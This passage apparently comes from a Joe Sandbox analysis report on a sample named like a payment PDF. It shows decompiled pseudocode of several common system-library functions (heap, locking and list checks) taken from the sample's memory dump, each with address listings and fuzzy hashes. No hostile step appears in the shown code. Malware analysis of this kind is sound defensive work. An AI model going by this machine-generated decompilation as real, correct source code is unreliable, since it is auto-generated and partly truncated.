					L8:
					__eflags =  *((char*)(_t97 - 0xf8));
					if(__eflags != 0) {
						_t79 = _t97 - 0xf0;
						_t45 = E334AC1D3(_t74, _t97 - 0xf0, _t92, _t94, __eflags);
						__eflags =  *((char*)(_t97 - 0xf9));
						if( *((char*)(_t97 - 0xf9)) != 0) {
							_t74 = 0;
							_t94 = _t92 + 0x2c;
							L33482330(_t45, _t94);
							__eflags =  *(_t92 + 0x10c) & 0x00000ffe;
							if(( *(_t92 + 0x10c) & 0x00000ffe) != 0) {
								_t49 =  *0x33566644; // 0x0
								_t53 = L33485D90(_t79,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t49 + 0x000c0000 | 0x00000008, 0xc);
								 *(_t97 - 0x10c) = _t53;
								__eflags = _t53;
								if(_t53 == 0) {
									goto L11;
								} else {
									_push("true");
									_push(0);
									_push(0);
									_push(_t97 - 0x16c);
									_push(0xffffffff);
									_push(0xfffffffe);
									_push(0xffffffff);
									_t55 = L334B2D70();
									__eflags = _t55;
									if(_t55 >= 0) {
										_t80 =  *(_t97 - 0x10c);
										 *((intOrPtr*)(_t80 + 8)) =  *((intOrPtr*)(_t97 - 0x16c));
										_t57 = _t92 + 0x118;
										_t90 =  *(_t57 + 4);
										__eflags =  *_t90 - _t57;
										if( *_t90 != _t57) {
											_t80 = 3;
											asm("int 0x29");
										}
										 *_t80 = _t57;
										 *(_t80 + 4) = _t90;
										 *_t90 = _t80;
										 *(_t57 + 4) = _t80;
										_t86 = (( *(_t92 + 0x10c) & 0xfffff000) + 0x00001000 ^  *(_t92 + 0x10c)) & 0x007ff000 ^  *(_t92 + 0x10c);
										 *(_t92 + 0x10c) = _t86;
										_t61 = _t86 >> 0x0000000b ^ _t86;
										__eflags = _t61 & 0x00000ffe;
										if((_t61 & 0x00000ffe) == 0) {
											_t74 = 1;
										}
										_t45 = E334824D0(_t94);
										__eflags = _t74;
										if(_t74 != 0) {
											_t45 = E334B1BB0(_t92 + 0x114);
										}
										goto L12;
									} else {
										_t63 =  *0x33566644; // 0x0
										E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t63 + 0xc0000,  *(_t97 - 0x10c));
										goto L11;
									}
								}
								L18:
								__eflags = _t92 -  *0x33566888; // 0x31cc8a8
								if(__eflags == 0) {
									_t89 = 0x3356688c;
									_t77 = 0x33566888;
									L15:
									_t45 = E33472712(_t74, _t77, _t89, _t92, _t94, __eflags);
									L16:
									__eflags = _t94 | 0xffffffff;
									return _t45;
								}
								_t96 = _t94 | 0xffffffff;
								__eflags = _t96;
								_t46 = _t96;
								asm("lock xadd [edi], eax");
								if(__eflags == 0) {
									return E3346B705(_t74, _t92, _t92, _t96, __eflags);
								}
								return _t46;
								goto L34;
							} else {
								L11:
								_t45 = E334824D0(_t94);
							}
						}
					}
					L12:
					__eflags =  *((char*)(_t97 - 0xf2));
					if( *((char*)(_t97 - 0xf2)) == 0) {
						goto L16;
					}
					__eflags = _t92 -  *0x33566890; // 0x31407c0
					if(__eflags == 0) {
						_t89 = 0x33566894;
						_t77 = 0x33566890;
						goto L15;
					}
					goto L18;
				} else {
					L33482330( *((intOrPtr*)(_t97 - 0x120)) + 0x250,  *((intOrPtr*)(_t97 - 0x120)) + 0x250);
					 *((intOrPtr*)(_t97 - 4)) = 0xa;
					_t70 =  *((intOrPtr*)(_t97 - 0xf0));
					 *((intOrPtr*)(_t97 - 0x178)) = _t70;
					_t87 =  *((intOrPtr*)(_t97 - 0xec));
					_t91 = _t97 - 0xf0;
					__eflags =  *((intOrPtr*)(_t70 + 4)) - _t91;
					if( *((intOrPtr*)(_t70 + 4)) != _t91) {
						L21:
						asm("int 0x29");
						return E334824D0( *((intOrPtr*)(_t97 - 0x120)) + 0x250);
					} else {
						__eflags =  *_t87 - _t91;
						if( *_t87 != _t91) {
							goto L21;
						} else {
							 *_t87 = _t70;
							 *((intOrPtr*)(_t70 + 4)) = _t87;
							 *((intOrPtr*)(_t97 - 4)) = 1;
							_t45 = E33476167();
							goto L8;
						}
					}
				}
				L34:
			}

0x33476074
0x33476074
0x33476074
0x33476078
0x334d0a1c
0x334d0a21
0x334d0a21
0x3347607e
0x33476085
0x33476087
0x33476087
0x3347608e
0x33476095
0x334760e9
0x334760e9
0x334760f0
0x334760f2
0x334760f8
0x334760fd
0x33476104
0x33476106
0x33476108
0x3347610c
0x33476111
0x3347611b
0x334d0a35
0x334d0a4e
0x334d0a53
0x334d0a59
0x334d0a5b
0x00000000
0x334d0a61
0x334d0a61
0x334d0a63
0x334d0a65
0x334d0a6d
0x334d0a6e
0x334d0a70
0x334d0a72
0x334d0a74
0x334d0a79
0x334d0a7b
0x334d0aa7
0x334d0aad
0x334d0ab0
0x334d0ab6
0x334d0ab9
0x334d0abb
0x334d0abd
0x334d0ac2
0x334d0ac2
0x334d0ac4
0x334d0ac6
0x334d0ac9
0x334d0acb
0x334d0aea
0x334d0aec
0x334d0af7
0x334d0af9
0x334d0afe
0x334d0b00
0x334d0b00
0x334d0b03
0x334d0b08
0x334d0b0a
0x334d0b17
0x334d0b17
0x00000000
0x334d0a7d
0x334d0a7d
0x334d0a97
0x00000000
0x334d0a97
0x334d0a7b
0x3347614b
0x3347614b
0x33476151
0x334d0b21
0x334d0b26
0x33476142
0x33476142
0x33476147
0x33476147
0x00000000
0x33476147
0x33476157
0x33476157
0x3347615a
0x3347615c
0x33476160
0x00000000
0x334d0b32
0x3347614a
0x00000000
0x33476121
0x33476121
0x33476122
0x33476122
0x3347611b
0x33476104
0x33476127
0x33476127
0x3347612e
0x00000000
0x00000000
0x33476130
0x33476136
0x33476138
0x3347613d
0x00000000
0x3347613d
0x00000000
0x33476097
0x334760a3
0x334760a8
0x334760af
0x334760b5
0x334760bb
0x334760c1
0x334760c7
0x334760ca
0x334d076d
0x334d0772
0x33476073
0x334760d0
0x334760d0
0x334760d2
0x00000000
0x334760d8
0x334760d8
0x334760da
0x334760dd
0x334760e4
0x00000000
0x334760e4
0x334760d2
0x334760ca
0x00000000

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8264cf421a57ec87135b7c3f06642c0af75e10b1bf1fde90df09b7314dfb2a9
Instruction ID: a0cc723301601c560e4fa0f8c4e3b593c45d3026f3958407950e4c07d6bfc999
Opcode Fuzzy Hash: d8264cf421a57ec87135b7c3f06642c0af75e10b1bf1fde90df09b7314dfb2a9
Instruction Fuzzy Hash: 6151B474A002169FDB15CF64CC14BE977F5EF01318F1482A9D469977D2DB789981CF88

Uniqueness

Uniqueness Score: -1.00%

Function 3346B0D6 Relevance: .1, Instructions: 131
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E3346B0D6(void* __ebx, intOrPtr __ecx, signed int __edx, void* __esi, signed int _a4) {
				char _v8;
				signed int _v12;
				intOrPtr _v16;
				void* __edi;
				void* __ebp;
				intOrPtr _t28;
				signed int _t33;
				void* _t34;
				signed int _t37;
				signed int _t43;
				signed int _t46;
				void* _t51;
				signed int _t64;
				void* _t65;
				signed int* _t66;

				_t65 = __esi;
				_t63 = __edx;
				_t51 = __ebx;
				_t64 = __edx;
				_v16 = __ecx;
				if(L334A1CA7(__ecx) < 0) {
					L17:
					return 0;
				}
				if(E334AD060(__ecx, 0x33444f1c,  &_v8) >= 0) {
					if(_v8 != 0) {
						goto L17;
					}
				}
				E334AC640(_t51, 0, _t63, _t64);
				if(E33490130() != 0) {
					_t28 =  *0x3356921c; // 0x0
				} else {
					_t28 =  *((intOrPtr*)( *[fs:0x30] + 0x18));
				}
				_push(_t51);
				_push(_t65);
				_t52 = 0;
				_t66 = L33485D90(0, _t28, 0, 0x14);
				if(_t66 == 0) {
					L13:
					E334AC640(_t52, 1, _t63, _t64);
					return _t66;
				} else {
					_t66[3] = 0;
					_t33 = L33485D90(0,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, "true");
					_t66[2] = _t33;
					if(_t33 == 0) {
						_t34 = E33490130();
						_push(_t66);
						_push(0);
						if(_t34 != 0) {
							_push( *0x3356921c);
						} else {
							_push( *((intOrPtr*)( *[fs:0x30] + 0x18)));
						}
						E33483BC0();
						_t66 = _t52;
						goto L13;
					}
					 *_t33 = 1;
					_t37 =  *0x335665fc; // 0xf117a7a7
					if(_t37 == 0) {
						_push(0);
						_push("true");
						_push( &_v12);
						_push(0x24);
						_push(0xffffffff);
						if(E334B2B20() < 0) {
							L334C8AA0(0, _t63, _t39);
						}
						_t37 = _v12;
						 *0x335665fc = _t37;
					}
					_t60 = _t37 & 0x0000001f;
					asm("ror eax, cl");
					_t66[4] = _t37 ^ _t64;
					_t52 = 0x3356933c + _a4 * 0xc;
					_t64 = 0x33569340 + _a4 * 0xc;
					L33482330(L334A1D66(_t37 & 0x0000001f, _t63, 0),  *(0x3356933c + _a4 * 0xc));
					if( *_t64 == _t64) {
						_t60 = _a4 + 2;
						asm("lock bts [eax], ecx");
					}
					if(_v16 == 0) {
						_t43 =  *(_t64 + 4);
						if( *_t43 != _t64) {
							goto L16;
						}
						 *_t66 = _t64;
						_t66[1] = _t43;
						 *_t43 = _t66;
						 *(_t64 + 4) = _t66;
						goto L12;
					} else {
						_t46 =  *_t64;
						if( *(_t46 + 4) != _t64) {
							L16:
							_push("true");
							asm("int 0x29");
							goto L17;
						}
						 *_t66 = _t46;
						_t66[1] = _t64;
						 *(_t46 + 4) = _t66;
						 *_t64 = _t66;
						L12:
						E334824D0( *_t52);
						L334A1D66(_t60, _t63, "true");
						goto L13;
					}
				}
			}

0x3346b0d6
0x3346b0d6
0x3346b0d6
0x3346b0df
0x3346b0e1
0x3346b0eb
0x3346b1f4
0x00000000
0x3346b1f4
0x3346b101
0x334ccb86
0x00000000
0x00000000
0x334ccb8c
0x3346b109
0x3346b115
0x3346b1e5
0x3346b11b
0x3346b121
0x3346b121
0x3346b124
0x3346b125
0x3346b128
0x3346b131
0x3346b135
0x3346b1d4
0x3346b1d7
0x00000000
0x3346b13b
0x3346b144
0x3346b14a
0x3346b14f
0x3346b154
0x334ccb91
0x334ccb96
0x334ccb97
0x334ccb9a
0x334ccba7
0x334ccb9c
0x334ccba2
0x334ccba2
0x334ccbad
0x334ccbb2
0x00000000
0x334ccbb2
0x3346b15a
0x3346b160
0x3346b167
0x334ccbb9
0x334ccbba
0x334ccbbf
0x334ccbc0
0x334ccbc2
0x334ccbcb
0x334ccbce
0x334ccbce
0x334ccbd3
0x334ccbd6
0x334ccbd6
0x3346b175
0x3346b178
0x3346b17c
0x3346b17f
0x3346b185
0x3346b18f
0x3346b196
0x3346b1a1
0x3346b1a7
0x3346b1a7
0x3346b1af
0x334ccbe0
0x334ccbe5
0x00000000
0x00000000
0x334ccbeb
0x334ccbed
0x334ccbf0
0x334ccbf2
0x00000000
0x3346b1b5
0x3346b1b5
0x3346b1ba
0x3346b1ef
0x3346b1ef
0x3346b1f2
0x00000000
0x3346b1f2
0x3346b1bc
0x3346b1be
0x3346b1c1
0x3346b1c4
0x3346b1c6
0x3346b1c8
0x3346b1cf
0x00000000
0x3346b1cf
0x3346b1af

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 054f924d14acf4b8f1ed1ddfeba1db6a47f063f97f1e77c96cda41eb88ddd521
Instruction ID: c880bcd7a8ae80d88b5b0053cb670b94af45cfcf6d6979d2a37e14ecf3a2403c
Opcode Fuzzy Hash: 054f924d14acf4b8f1ed1ddfeba1db6a47f063f97f1e77c96cda41eb88ddd521
Instruction Fuzzy Hash: A341CDB4A40301FFEB11DF69D840B8ABBE8EF00B88F008469E552DB650EB70D902CB58

Uniqueness

Uniqueness Score: -1.00%

Function 335381EE Relevance: .1, Instructions: 129
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E335381EE(signed char __ecx, intOrPtr __edx, void* __eflags, signed int _a4, intOrPtr _a8) {
				signed char _v8;
				void* _v12;
				char _v16;
				intOrPtr _v20;
				signed char _v24;
				signed char _v28;
				signed char _t42;
				char* _t44;
				void* _t55;
				signed char _t59;
				signed char _t61;
				void* _t62;
				signed char _t65;
				signed char _t67;
				signed char _t71;
				intOrPtr _t78;
				signed int _t89;

				_t61 = __ecx;
				_v8 = __ecx;
				_v20 = __edx;
				_t89 = ( *(__ecx + 0xc) | _a4) & 0x93000f0b;
				if(E33538435(__ecx + 0x18) != 0) {
					_v28 = 0;
					_t65 = 0;
					_v16 = 0;
					if((_t89 & 0x01000000) != 0) {
						L10:
						if(_a8 != 0) {
							_t89 = _t89 | 0x00000008;
						}
						_t42 = E33538411(_t65 + _v20, _t89);
						_t78 = _v20;
						_t67 = _t42;
						_v24 = _t67;
						if(_t67 < _t78 || _t78 > 0x7fffffff) {
							goto L2;
						} else {
							_t69 = _t61;
							_t62 = E33538360(_t61, _t78, _t67, _t89 & 0x13000003,  &_v12);
							if(_t62 == 0 || (_t89 & 0x30000f08) == 0) {
								goto L3;
							} else {
								_t55 = E335384E2(_v8, _t62, _v20, _t69, _v16, _t89, _a8);
								_t71 = _v28;
								if(_t71 == 0) {
									goto L3;
								} else {
									 *(_t55 + 2) =  *(_t55 + 2) ^ ( *(_t55 + 2) ^ _t71) & 0x0000000f;
									if(L335178DE(_t71, _v8, _t62, ?str?, _t55 + 8) >= 0) {
										goto L3;
									} else {
										_t90 = _v8;
										E335386A8(_v8, _t62, _t89, 0, 0);
										_t62 = 0;
									}
								}
							}
						}
					} else {
						_t59 =  *(__ecx + 0x10);
						_v28 = _t59;
						if(_t59 == 0) {
							goto L10;
						} else {
							_t89 = _t89 | 0x00000008;
							if(L335178DE(_t59, __ecx, 0, ?str?,  &_v16) < 0) {
								goto L1;
							} else {
								_t65 = _v16;
								goto L10;
							}
						}
					}
				} else {
					L1:
					_v24 = 0;
					L2:
					_v12 = 0;
					_t62 = 0;
					L3:
					_t90 = _v8;
				}
				if(L33483C40() == 0) {
					_t44 = 0x7ffe0380;
				} else {
					_t44 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				}
				if( *_t44 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
					L3352EF66(_t90, _t62, _v24, _v12);
				}
				return _t62;
			}

0x335381f7
0x335381fd
0x3353820e
0x33538211
0x33538220
0x3353824d
0x33538250
0x33538252
0x3353825b
0x33538281
0x33538285
0x33538287
0x33538287
0x3353828f
0x33538294
0x33538297
0x33538299
0x3353829e
0x00000000
0x335382ac
0x335382b9
0x335382c0
0x335382c4
0x00000000
0x335382d6
0x335382e7
0x335382ec
0x335382f1
0x00000000
0x335382f7
0x335382ff
0x33538313
0x00000000
0x33538319
0x3353831c
0x33538323
0x33538328
0x33538328
0x33538313
0x335382f1
0x335382c4
0x3353825d
0x3353825d
0x33538260
0x33538265
0x00000000
0x33538267
0x33538272
0x3353827c
0x00000000
0x3353827e
0x3353827e
0x00000000
0x3353827e
0x3353827c
0x33538265
0x33538222
0x33538222
0x33538222
0x33538225
0x33538225
0x33538228
0x3353822a
0x3353822a
0x3353822a
0x33538234
0x3353832f
0x3353823a
0x33538243
0x33538243
0x33538337
0x33538352
0x33538352
0x3353835d

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52a1741bb7668dbd0e330b4cee233e7836a49f18a3e4eafb0fad66dd8014cf6e
Instruction ID: 287a4b57e87e0eb81b877ec7baf35f2fb8773831e3f23bdfae2643f379f0f7c3
Opcode Fuzzy Hash: 52a1741bb7668dbd0e330b4cee233e7836a49f18a3e4eafb0fad66dd8014cf6e
Instruction Fuzzy Hash: A241D675F01205ABDB09CF98E880BAFB7BAEF89761F554069F805A7741DA70DE08C750

Uniqueness

Uniqueness Score: -1.00%

Function 3349A390 Relevance: .1, Instructions: 127
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E3349A390(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags) {
				void* _t38;
				char _t39;
				intOrPtr _t42;
				signed int* _t43;
				signed int _t44;
				signed int _t48;
				char _t59;
				intOrPtr* _t62;
				intOrPtr _t63;
				signed int _t68;
				intOrPtr _t70;
				signed int _t74;
				signed int _t77;
				void* _t78;

				_push(0x20);
				_push(0x3354c520);
				_t38 = E334C7BE4(__ebx, __edi, __esi);
				_t59 = 0;
				 *((char*)(_t78 - 0x19)) = 0;
				if( *((intOrPtr*)(_t78 + 8)) == 0) {
					_t39 = 0;
					L7:
					 *[fs:0x0] =  *((intOrPtr*)(_t78 - 0x10));
					return _t39;
				}
				L33482330(_t38, 0x335667e8);
				 *(_t78 - 4) =  *(_t78 - 4) & 0x00000000;
				_t77 =  *0x33564f44;
				if(_t77 == 0) {
					_t59 = 1;
					L28:
					 *((char*)(_t78 - 0x19)) = _t59;
					L6:
					 *(_t78 - 4) = 0xfffffffe;
					E3349A4D8();
					_t39 = _t59;
					goto L7;
				}
				_t74 = _t77;
				 *(_t78 - 0x24) = _t74;
				_t42 =  *0x33564f40; // 0x314fe10
				 *((intOrPtr*)(_t78 - 0x20)) = _t42;
				while(_t74 > 0) {
					_t68 = _t74 << 5;
					if( *((intOrPtr*)(_t68 + _t42 - 0x1c)) ==  *((intOrPtr*)(_t78 + 8))) {
						_t13 = _t42 - 0x20; // 0x314fdf0
						_t62 = _t13 + _t68;
						 *((intOrPtr*)(_t78 - 0x28)) = _t62;
						_t15 = _t62 + 0x10; // 0x314fe00
						_t43 = _t15;
						 *(_t78 - 0x2c) = _t43;
						_t44 =  *_t43;
						if(_t44 == 0) {
							L21:
							_t63 =  *((intOrPtr*)(_t78 - 0x20));
							L16:
							if(_t74 != _t77) {
								E3346B64E(_t74 - 1);
							}
							_t77 = _t77 - 1;
							 *0x33564f44 = _t77;
							if(_t77 == 0) {
								E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t63);
								_t42 = 0;
								 *((intOrPtr*)(_t78 - 0x20)) = 0;
								 *0x33564f40 = 0;
								 *0x33564f48 =  *0x33564f48 & 0;
								L24:
								_t74 =  *(_t78 - 0x24);
								_t77 =  *0x33564f44;
								L20:
								_t59 = 1;
								 *((char*)(_t78 - 0x19)) = 1;
								goto L5;
							}
							_t48 =  *0x33564f48; // 0x20
							_t49 = _t48 + 0xffffffe0;
							if(_t77 < _t48 + 0xffffffe0) {
								_t42 = E33482710( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t63, _t49 << 5);
								 *((intOrPtr*)(_t78 - 0x20)) = _t42;
								if(_t42 == 0) {
									_t59 = 0;
									goto L28;
								}
								 *0x33564f40 = _t42;
								 *0x33564f48 =  *0x33564f48 - 0x20;
								goto L24;
							}
							_t42 =  *((intOrPtr*)(_t78 - 0x20));
							goto L20;
						}
						_t70 =  *((intOrPtr*)(_t78 + 0xc));
						if(_t70 != 0) {
							if(_t70 !=  *_t62) {
								goto L21;
							}
						}
						if(_t44 == 0xffffffff) {
							goto L21;
						}
						_push(_t44 & 0xfffffffc);
						if( *((intOrPtr*)(_t62 + 0x1c)) == 0xc0000019) {
							_push(0);
							_push( *((intOrPtr*)( *[fs:0x30] + 0x18)));
							E33483BC0();
							_t74 =  *(_t78 - 0x24);
							_t62 =  *((intOrPtr*)(_t78 - 0x28));
						} else {
							_push(0xffffffff);
							L334B2C50();
						}
						if( *(_t62 + 0x14) != 0) {
							_t20 = _t62 + 0x14; // 0x0
							_push( *_t20);
							E334B2A80();
							 *(_t62 + 0x14) =  *(_t62 + 0x14) & 0x00000000;
						}
						 *( *(_t78 - 0x2c)) =  *( *(_t78 - 0x2c)) & 0x00000000;
						_t77 =  *0x33564f44;
						_t63 =  *0x33564f40; // 0x314fe10
						 *((intOrPtr*)(_t78 - 0x20)) = _t63;
						goto L16;
					}
					L5:
					_t74 = _t74 - 1;
					 *(_t78 - 0x24) = _t74;
				}
				goto L6;
			}

0x3349a390
0x3349a392
0x3349a397
0x3349a39c
0x3349a39e
0x3349a3a5
0x334ddfaa
0x3349a3fa
0x3349a3fd
0x3349a409
0x3349a409
0x3349a3b0
0x3349a3b5
0x3349a3b9
0x3349a3c1
0x334ddfb1
0x334ddfb7
0x334ddfb7
0x3349a3ec
0x3349a3ec
0x3349a3f3
0x3349a3f8
0x00000000
0x3349a3f8
0x3349a3c7
0x3349a3c9
0x3349a3cc
0x3349a3d1
0x3349a3d4
0x3349a3da
0x3349a3e4
0x3349a40c
0x3349a40f
0x3349a411
0x3349a414
0x3349a414
0x3349a417
0x3349a41a
0x3349a41e
0x3349a49d
0x3349a49d
0x3349a471
0x3349a473
0x3349a4a5
0x3349a4a5
0x3349a475
0x3349a478
0x3349a47e
0x3349a4b8
0x3349a4bd
0x3349a4bf
0x3349a4c2
0x3349a4c7
0x3349a4cd
0x3349a4cd
0x3349a4d0
0x3349a493
0x3349a493
0x3349a495
0x00000000
0x3349a495
0x3349a480
0x3349a485
0x3349a48a
0x334ddff8
0x334ddffd
0x334de002
0x334ddfb5
0x00000000
0x334ddfb5
0x334de004
0x334de009
0x00000000
0x334de009
0x3349a490
0x00000000
0x3349a490
0x3349a420
0x3349a427
0x334ddfc2
0x00000000
0x00000000
0x334ddfc8
0x3349a430
0x00000000
0x00000000
0x3349a435
0x3349a43d
0x334ddfcd
0x334ddfd5
0x334ddfd8
0x334ddfdd
0x334ddfe0
0x3349a443
0x3349a443
0x3349a445
0x3349a445
0x3349a44e
0x3349a450
0x3349a450
0x3349a453
0x3349a458
0x3349a458
0x3349a45f
0x3349a462
0x3349a468
0x3349a46e
0x00000000
0x3349a46e
0x3349a3e6
0x3349a3e6
0x3349a3e7
0x3349a3e7
0x00000000

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0bff070073afb1baf2752e1167ab271585d98463f2f870c7d5534becc70c802c
Instruction ID: ffdbcae498963c9c7be2e0dfc8632c7fdf065dd074f83923a2cfc5aab466e760
Opcode Fuzzy Hash: 0bff070073afb1baf2752e1167ab271585d98463f2f870c7d5534becc70c802c
Instruction Fuzzy Hash: C5418AB5944304CFEB01DF68C8A4BEDBBB4FF59354F150259E420AB392DB359942CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 3349D600 Relevance: .1, Instructions: 126
COMMON

Download Yara Rule

C-Code - Quality: 40%

			E3349D600(signed int __edx, intOrPtr _a4) {
				signed int _v8;
				void* _v16;
				intOrPtr _v144;
				signed int _v176;
				signed int _v180;
				char _v188;
				signed int _v192;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t35;
				signed char _t36;
				void* _t44;
				void* _t49;
				signed int _t57;
				void* _t64;
				signed int _t66;
				signed int _t69;
				intOrPtr _t72;
				signed char _t77;
				void* _t79;
				signed int _t82;
				intOrPtr _t83;
				void* _t84;
				signed int _t85;
				signed int _t87;
				signed int _t88;

				_t74 = __edx;
				_t87 = (_t85 & 0xfffffff8) - 0xbc;
				_v8 =  *0x3356b370 ^ _t87;
				_t88 =  *0x335641d4; // 0x0
				if(_t88 != 0) {
					L334B8F40( &_v188, 0, 0xb0);
					_t87 = _t87 + 0xc;
					_v188 = 0xb0;
					_t82 = 0;
					_v144 = 0x20000;
					do {
						_t66 = _t82 & 0xffff7fff;
						_v192 = _t66;
						__eflags =  *0x335641d4; // 0x0
						if(__eflags == 0) {
							goto L13;
						}
						__eflags = _t66 - 0x40;
						if(_t66 < 0x40) {
							L8:
							asm("lock inc dword [eax]");
							_t35 =  *0x335641d4; // 0x0
							_t36 =  *(_t35 + _t66 * 8);
							__eflags = _t36 & 0x00000001;
							if((_t36 & 0x00000001) == 0) {
								_t77 = _t36;
								__eflags = 0;
								if(0 == 0) {
									_t74 =  *(_t77 + 0xd4);
									_t72 =  *((intOrPtr*)(_t77 + 0x14));
									asm("lock dec dword [eax+ecx*8+0x4]");
									__eflags = _t74 & 0x00000400;
									if((_t74 & 0x00000400) == 0) {
										_v180 = _t82;
										_v176 = 0;
										L334AD883(_t72,  &_v188);
									}
								}
							} else {
								asm("lock dec dword [eax+ecx*8+0x4]");
							}
							goto L13;
						}
						_t74 =  &_v192;
						_t57 = E33541712(_t82,  &_v192);
						__eflags = _t57;
						if(_t57 == 0) {
							_t66 = _v192;
							goto L8;
						}
						L13:
						_t82 = _t82 + 1;
						__eflags = _t82 - 0x40;
					} while (_t82 < 0x40);
				}
				_t69 = ( *( *[fs:0x18] + 0xfca) & 0x0000ffff) >> 0x0000000c & 0x00000001;
				L334919DF(_t69);
				E33492755(_t74);
				L3347FED0(0x33565b40);
				E3349DAC0(_t69,  *((intOrPtr*)( *[fs:0x30] + 0x18)));
				_t83 = _a4;
				_push(_t83);
				_push(0);
				_t44 = L334B2C70();
				_t89 = _t44;
				if(_t44 < 0) {
					E3349DA20(_t69,  *((intOrPtr*)( *[fs:0x30] + 0x18)));
					_push(0x33565b40);
					E3347E740(_t69);
					_push(_t69);
					_push(0);
					_t74 = 0x12;
					E3349270D(_t74);
					_push(_t83);
					_push(0xfffffffe);
					_t49 = L334B2EE0();
				} else {
					L3349D9CE();
					_push(0x33565b40);
					 *0x33565b4c =  *((intOrPtr*)( *[fs:0x18] + 0x24));
					 *0x33565b44 = 0xfffffffe;
					 *0x33565b48 = 1;
					 *0x33565b50 = 0;
					E3347E740(_t69);
					L3349D940(_t69, 0xffffffff, _t83);
					E3349D6D0(0, 0x33565b40, _t83, _t89);
					_push(_t83);
					_push(0xffffffff);
					_t49 = L334B2C70();
				}
				_pop(_t79);
				_pop(_t84);
				_pop(_t64);
				return E334B4B50(_t49, _t64, _v8 ^ _t87, _t74, _t79, _t84);
			}

0x3349d600
0x3349d608
0x3349d615
0x3349d621
0x3349d627
0x334defd2
0x334defdb
0x334defde
0x334defe2
0x334defe4
0x334defec
0x334defee
0x334deff4
0x334deff8
0x334deffe
0x00000000
0x00000000
0x334df000
0x334df003
0x334df018
0x334df023
0x334df026
0x334df02b
0x334df02e
0x334df030
0x334df03e
0x334df042
0x334df044
0x334df046
0x334df04c
0x334df054
0x334df059
0x334df05f
0x334df065
0x334df06b
0x334df06f
0x334df06f
0x334df05f
0x334df032
0x334df037
0x334df037
0x00000000
0x334df030
0x334df005
0x334df00b
0x334df010
0x334df012
0x334df014
0x00000000
0x334df014
0x334df074
0x334df074
0x334df075
0x334df075
0x334df07e
0x3349d63d
0x3349d640
0x3349d645
0x3349d650
0x3349d65e
0x3349d663
0x3349d666
0x3349d667
0x3349d668
0x3349d66d
0x3349d66f
0x334df08c
0x334df091
0x334df092
0x334df097
0x334df098
0x334df09b
0x334df09c
0x334df0a1
0x334df0a2
0x334df0a4
0x3349d675
0x3349d675
0x3349d680
0x3349d684
0x3349d689
0x3349d693
0x3349d69d
0x3349d6a3
0x3349d6ab
0x3349d6b0
0x3349d6b5
0x3349d6b6
0x3349d6b8
0x3349d6b8
0x334df0b0
0x334df0b1
0x334df0b2
0x334df0bd

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d7a553d91fd1db70fce78b41d2690a70443b7df17897730c90444ffec52b54c
Instruction ID: afb4d70e253bc4b7bdf515aef90098a5bf81f5e61d358f3ce6509c35803f60e7
Opcode Fuzzy Hash: 2d7a553d91fd1db70fce78b41d2690a70443b7df17897730c90444ffec52b54c
Instruction Fuzzy Hash: DD41E5B15007409FD321EF29D9A0E9A77E8EF85360F00072DF96597661CB30E852CBD9

Uniqueness

Uniqueness Score: -1.00%

Function 334A0630 Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

